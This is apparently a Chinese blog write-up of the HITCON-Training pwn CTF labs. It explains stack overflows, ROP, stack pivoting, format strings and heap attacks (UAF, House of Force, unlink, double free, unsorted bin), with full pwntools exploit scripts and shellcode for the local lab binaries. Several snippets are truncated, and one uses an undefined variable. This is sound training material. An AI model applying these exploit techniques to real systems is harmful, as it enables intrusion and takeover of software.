HITCON-Training-Writeup
最近在学习PWN,学习完了知识点,就找了一些题库来练习,HITCON-Training是一个对新手十分友好的题库,题目基本涵盖了ctf pwn中的所有常见知识点。
在我学习的过程中也参考了网上的一些教程,但是网上的很多东西写的云龙混杂,EXP教程执行出来都是错的也有一些代码写的很冗杂,所以我就想自己写一篇教程。这个WP的所有代码都是我运行之后无误的,所以可参考的价值比较高。
lab1-sysmagic
我们发现flag的输出和输入并没有关系,而且输入分检测只有if一个判断,使用IDA修改指令即可。
修改JNZ的机器码为74,即可修改为JZ
输出flag
lab2-orw.bin
这个题就是自己写汇编然后输入,读取flag,题目要求只能用open,read,write函数
伪代码如下1
2
3
4
5char* path = '/home/orw/flag'
char* file = ''
sys_open(path,0,0)
sys_read(3,file,0x30)
sys_write(1,file,0x30)
这里提供两个EXP,一个是自己写汇编,一个是使用pwntools的shellcode库
EXP 1:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16from pwn import *
s = process('./orw.dms')
shellcode = ''
shellcode += asm('xor ecx,ecx;mov eax,0x5; push ecx;push 0x67616c66; push 0x2f77726f; push 0x2f656d6f; push 0x682f2f2f; mov ebx,esp;xor edx,edx;int 0x80;')
shellcode += asm('xchg ecx,ebx;mov bl,0x3;mov dl,0x30;int 0x80;')
shellcode += asm('mov eax,0x4;mov bl,0x1;int 0x80;')
def pwn():
recv = s.recvuntil(':')
print recv
s.sendline(shellcode)
flag = s.recv()
print flag
pwn()
EXP 2:1
2
3
4
5
6
7
8
9
10
11from pwn import *
r = process('./orw')
payload = ''
payload += asm(shellcraft.open("/home/orw/flag"))
payload += asm(shellcraft.read("eax","esp",0x100)) #read返回的文件描述符在EAX中
payload += asm(shellcraft.write(1,"esp",0x100))
r.sendlineafter('Give my your shellcode:',shellcode)
r.interactive()
lab3-ret2sc
很简单的一道栈溢出,溢出点在gets函数
先查看程序防护,发现没有开启数据段不可执行,所以我们可以把shellcode放置在栈上
通过GEF自带的patteren可以查看溢出点距离EBP的距离,也就是我们要填充的长度
发现只有32字节,而pwntools自带的shellcode有44字节,所以shellcode不可以放在栈上,只能放在存储name的BSS段。
EXP:1
2
3
4
5
6
7
8
9
10
11
12
13
14from pwn import *
r = process('./ret2sc')
name_addr = 0x804a060
r.recvuntil(":")
r.sendline(asm(shellcraft.sh()))
r.recvuntil(":")
shellcode = 'a' * 32
shellcode += p32(name_addr)
r.sendline(shellcode)
r.interactive()
lab4-ret2lib
检查程序的防护发现程序开启了NX,所以不能使用上面的办法,这次需要自己获得system_call的地址
确定填充长度为60字节
这里我使用一个自动化查找libc的工具
关于延迟绑定和PLT的部分我就不多说了,可以看我博客里专门讲这节的内容。
1 | from pwn import * |
lab5-simplerop
题目提示的很明显了,是一个ROP题
通过IDA发现没有现成的system函数可以用,只能自己构造system call。
我们利用如下系统调用来获取 shell1
execve("/bin/sh",NULL,NULL)
其中,该程序是 32 位,所以我们需要使得
系统调用号,即 eax 应该为 0xb
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0
发现了一个很好的gadget,可以直接将三个参数的值赋值好。
找到了int 0x80
确定溢出长度。
这个题我的WP和网上很多人的都不一样,网上大部分做法都是利用调用read函数,将/bin/sh读取到BSS再去调用,我觉得这样很麻烦,直接放到栈上不就好了,所以就有了下面这个代码,我觉得我这个代码应该是全网最短的,最好懂的了,哈哈哈哈1
2
3
4
5
6
7
8
9
10
11from pwn import *
s = process('./simplerop')
s.recvuntil(':')
payload = '/bin/sh\x00aaaaaaaaaaaaaaaaaaaaaaaa'
pop_eax_ret = 0x080bae06
pop_edx_ecx_ebx_ret = 0x0806e850
int_0x80 = 0x080493e1
payload += flat([pop_eax_ret,0xb,pop_edx_ecx_ebx_ret,0,0,0xffffcedc,int_0x80])
s.sendline(payload)
s.interactive()
`
lab6-migration
先确定溢出长度
这个题还是用ROP来做,只不过先需要栈迁移
寻找栈迁移的gadget
利用的过程是这样的
先利用栈溢出加ROP,将栈迁移到BSS上
再利用puts打印出puts函数的地址
打印出puts的地址后就可以通过偏移得出system和/bin/sh的地址
最后控制程序的返回地址调用system(‘/bin/sh’)
1 | payload1 = 'a'*40 + p32(buf) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(buf) +p32(0x100) |
这个代码就是将栈迁移到了buf的地方,然后调用read函数。这里解释一下leave和ret这两个指令,首先通过上面的栈溢出,已经将EBP变成了buf的地址,注意这里的leave_ret是在read读取完之后才执行的,因为我们现在是在通过ROP来模拟call read这个指令,所以在read的三个参数下面放置的是read结束后的返回地址。
1 | payload2 = p32(buf2) + p32(puts_plt) + p32(pop_ebx) + p32(puts_got) + p32(read_plt) + p32(leave_ret) |
read将payload2读取到了buf的位置,所以read结束后,先进行leave,也就是mov esp,ebp; pop ebp ,ESP先指向了buf2,pop ebp后,EBP变成了buf2,esp指向了puts_plt,这时候再执行ret指令,成功跳转到了puts函数。打印出了puts函数地址,然后再进行一次read函数,将程序的返回地址覆盖成system函数。1
payload3 = p32(buf) + p32(system_addr) + 'bbbb' + p32(binsh)
完整EXP:
1 | from pwn import * |
这个地方为什么用send不用sendline可以看这篇博客
lab7-crack
格式化字符串漏点
1 | from pwn import * |
lab8-craxme
同样是一道格式化字符串漏洞的题1
2
3
4
5
6
7
8
9
10
11from pwn import *
p_magic = 0x0804A038
fmt_len = 7
cn = process('./craxme')
cn.recv()
pay = fmtstr_payload(fmt_len,{p_magic:0xfaceb00c})
cn.sendline(pay)
cn.recvuntil('}')
lab10-hacknote
分析程序
先使用IDA查看反汇编程序
主要是实现三个功能,增,删,查。
先分析一下这个add函数。
notelist应该是一个全局变量的数组。数组用来存储malloc的一个8字节空间。这8字节空间里放的是note结构体。结构体第一维是print_note函数地址
接着用户输入一个size,malloc一个size大小的空间,地址填入结构体的第二维。
漏洞点
这个程序的漏洞点在del函数
删除的note仅仅是将开辟的空间free了,并没有把指针清零,这也就导致了UAF漏洞,use after free。
利用方式
UAF利用
1 | from pwn import * |
lab11-bamboobox
分析程序
先使用IDA查看程序
先是申请一个小的堆存放hello,goodbye函数
接下来就是几个功能性函数,这些都是很基础的东西
然后就是题目中的这两个全部变量。上面的num是用来统计已经存在的box数量。
下面的那个数组存储的是结构体,结构体里包括box名字的长度和box名字的地址。
漏洞点
这个程序的漏洞点在read函数。因为read函数之后并没有检测输入的长度所以会导致溢出,而且是任意长度的堆溢出。
利用方式
House Of Force
具体的原理讲解看这个链接 House Of Force
如果了解了HOF那么这次的利用思路就是先malloc一个堆空间,然后通过堆溢出改变top chunk的size,将top chunk的指针移动到第一个堆块上面因为
最上面的堆块里存储着hello和goodbye函数的地址,如果我们可以把里面的内容修改成magic函数的地址就可以实现读取flag。
1 | from pwn import * |
我来着重讲一下这两句代码的意思1
2offset_to_heap_base = -(0x40 + 0x20)
malloc_size = offset_to_heap_base - 0xf
这个是在移动top chunk指针的位置,算是关键的一步,上面的0x60是怎么算出来的呢,是因为原始top chunk的位置和最上面的一块chunk刚好距离0x60
然后为什么要减0x10呢,是因为我们的目标是修改0x603010的内容,因为chunk是有块头的要占去16个字节,所以top chunk的指针应该要比0x603010小16个字节,所以要再减去0x10.
Unlink
这个题其实也是unlink的一个套路题,因为题目中已经存在了chunklist,也就是0x06020c0的位置
这里我大概说一下unlink的利用方式吧,就是利用堆溢出改变一个chunk的size最后一位,将前一个chunk伪造成free的,前一个chunk通常是我们伪造好的一个chunk,然后再free被改变size的那个chunk,触发前一个chunk unlink.
因为现在glibc存在检查机制,那么对应在这个题目中,具体的利用过程如下。
首先是add三个堆块1
2
3
4
5itemlist = 0x00000000006020C0
p_chunk0 = itemlist+8
add_item(256,'aaaaaaaa')#chunk0
add_item(256,'bbbbbbbb')#chunk1
add_item(256,'cccccccc')#chunk2
我们通过在chunk0中输入内容来溢出到chunk1中,同时在chunk0中需要伪造一个chunk出来。在这个题目中,假设伪造的chunk地址为chunk0的地址(数据部分开始地址),伪造的chunk中,FD为 p_chunk0-0x18 ,BK为 p_chunk0-0x10 ,那么如果unlink可以成功,我们可以达到的效果就是1
2FD->bk = BK <==> p_chunk0 = p_chunk0-0x10
BK->fd = FD <==> p_chunk0 = p_chunk0-0x10
这样我们就将chunk0的位置转移到了itemlist附近,这样只需要修改chunk0的内容就可以将chunk1和chunk2修改为任意地址,然后通过show,change就实现了任意地址的读和写。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56from pwn import *
cn = process('./bamboobox')
bin = ELF('./bamboobox')
itemlist = 0x00000000006020C0
p_chunk0 = itemlist+8
def add_item(length,name):
cn.sendline('2')
cn.recvuntil('the length of item name:')
cn.sendline(str(length))
cn.recvuntil('the name of item:')
cn.sendline(name)
def change_item(index,length,name):
cn.sendline('3')
cn.recvuntil('the index of item:')
cn.sendline(str(index))
cn.recvuntil('the length of item name:')
cn.sendline(str(length))
cn.recvuntil('new name of the item:')
cn.sendline(name)
def remove_item(index):
cn.sendline('4')
cn.recvuntil('the index of item:')
cn.sendline(str(index))
def show_item():
cn.sendline('1')
data = cn.recvuntil('----------------------------')
return data
add_item(256,'aaaaaaaa')#chunk0
add_item(256,'bbbbbbbb')#chunk1
add_item(256,'cccccccc')#chunk2
pay = p64(0)+p64(256+1)+p64(p_chunk0-0x18)+p64(p_chunk0-0x10)
pay += 'A'*(256-4*8)
pay += p64(256)+p64(256+0x10) + 'test'
change_item(0,len(pay),pay)
remove_item(1)
gdb.attach(cn)
pause()
pay2 = '\x00'*0x18 + p64(p_chunk0-0x18) + p64(0) + p64(bin.got['puts'])
change_item(0,len(pay2),pay2)
pause()
change_item(1,16,p64(bin.symbols['magic']))
flag = cn.recv()
lab12-secretgarden
分析程序
使用IDA查看反汇编,主要功能是添加,访问,删除,
add函数先是判断当前花的数量是不是大于0x63,接着malloc一个28字节的空间,这28字节中前16字节存储的是根据用户输入的花名字的长度开辟的堆空间地址,然后用户输入花的名字。接着是在28字节的空间中输入花的颜色。
漏洞点
这个题的漏洞点在del函数的地方,这次的free虽然将指针也清零了,但是在free的时候没有判断这个堆快之前有没有释放,所以就存在double free漏洞。
我在这里使用的是fastbin 的double free其他类型的bin的利用这里先不介绍,不会的同学可以先看看这个教程
Double Free
我说一下我对double free的理解吧,对于fastbin类型的,漏洞的成因主要是glibc在free的时候只检测目前释放的堆块和fastbin头一块是不是相同的,并不去检测后面的堆块,还有一个原因就是系统给用户返回的数据域里存在chunk的FD指针,所以用户可以随心所欲的更改这个指针的内容。
比如看下面这个程序1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31typedef struct _chunk
{
long long pre_size;
long long size;
long long fd;
long long bk;
} CHUNK,*PCHUNK;
CHUNK bss_chunk;
int main(void)
{
void *chunk1,*chunk2,*chunk3;
void *chunk_a,*chunk_b;
bss_chunk.size=0x21;
chunk1=malloc(0x10);
chunk2=malloc(0x10);
free(chunk1);
free(chunk2);
free(chunk1);
chunk_a=malloc(0x10);
*(long long *)chunk_a=&bss_chunk;
malloc(0x10);
malloc(0x10);
chunk_b=malloc(0x10);
printf("%p",chunk_b);
return 0;
}
通过gdb调试发现,第一次chunk1分配的地址是0x602010,chunk2分配的地址是0x602030
第一次free chunk1后
目前只有一个fastbin
free chunk2后
我们可以看到free的chunk2在0x602030的地方存储着FD指针,指向第一个块,但是这个区域是我们可以修改的,这也就是隐患所在。目前fastbin结构是1
main_area ---> funk 2 ---> funk 1
再次free chunk1后1
main_area ---> funk 2 ---> funk 1 ---> funk 2
chunk 1的FD指针已经修改了
所以最终分配到了我们预先设定的地方。
漏洞利用
继续回到这个题,这个题同样采用fastbin double free来利用
这个题里同样有magic函数,所以利用的思路就是
1.通过double free获得got表附近的一个堆块
2.修改某个函数的got为magic函数的地址
这里我选择的函数是puts函数。
通过IDA可以看到GOT的地址为0x602000,puts_got为0x602020。
要寻找一个伪造的堆块大小在fastbin最大的0x80字节内的堆块,最终选择到了这里
大小是0x60,大小很合适。
1 | from pwn import * |
lab13-heapcreator
这个题的漏洞点就在这个edit函数,我们可以看到read_input的长度是比size刚好长一位的,考虑到glibc对于malloc的空间复用,我们申请的chunk会使用下一个chunk的pre_size,所以可以通过堆溢出覆盖下一个chunk的size
这个是没有覆盖之前的堆结构
覆盖之后我们发现chunk的size变成了0x40
所以这个题的利用思路就是,再申请一个0x30的chunk,刚好可以将fastbin中的两个chunk获取到,而那个0x20大小的chunk是包含在0x40大小的chunk里的,我们就可以通过creat函数将任意地址写入题目中结构体中的指针域,然后通过edit,和show函数实现任意地址的读写。
EXP:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52from pwn import *
r = process('./heapcreator')
libc = ELF('/lib32/libc.so.6')
def create(size,content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)
def edit(idx,content):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
r.recvuntil(":")
r.sendline(content)
def show(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
def delete(idx):
r.recvuntil(":")
r.sendline("4")
r.recvuntil(":")
r.sendline(str(idx))
free_got = 0x602018
create(0x18,"dada") # 0
create(0x10,"ddaa") # 1
edit(0, "/bin/sh\x00" +"a"*0x10 + "\x41")
delete(1)
create(0x30,p64(0)*4 +p64(0x30) + p64(free_got)) #1
show(1)
r.recvuntil("Content : ")
data = r.recvuntil("Done !")
free_addr = u64(data.split("\n")[0].ljust(8,"\x00"))
base = free_addr - libc.symbols['free']
print "base:",hex(base)
system = base + libc.symbols['system']
edit(1,p64(system))
delete(0)
r.interactive()
lab14-magicheap
题目中已经写好了flag函数
这个题目的漏洞点在edit函数
这里存在任意长度溢出漏洞。
这个题从题目来看出题人是想让使用Unsorted Bin Attack,这个攻击可以使一个任意地址变成一个很大的值,符合这个的要求,使用Unsorted Bin Attack做这个题比较简单,EXP如下。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43from pwn import *
r = process('./magicheap')
magic_addr = 0x06020C0
def creat_heap(size,data):
r.recvuntil(':')
r.sendline('1')
r.recvuntil(':')
r.sendline(str(size))
r.recvuntil(':')
r.sendline(data)
def del_heap(inx):
r.recvuntil(':')
r.sendline('3')
r.recvuntil(':')
r.sendline(str(inx))
def edit_heap(inx,size,data):
r.recvuntil(':')
r.sendline('2')
r.recvuntil(':')
r.sendline(str(inx))
r.recvuntil(':')
r.sendline(str(size))
r.recvuntil(':')
r.sendline(data)
creat_heap(0x20,"abcd")
creat_heap(0x400,"1234")
creat_heap(0x20,"aaaa")
del_heap(1)
edit_heap(0,0x40,flat(['a'*56,magic_addr-16]))
creat_heap(0x400,"aaaa")
r.recvuntil(":")
r.sendline("4869")
r.interactive()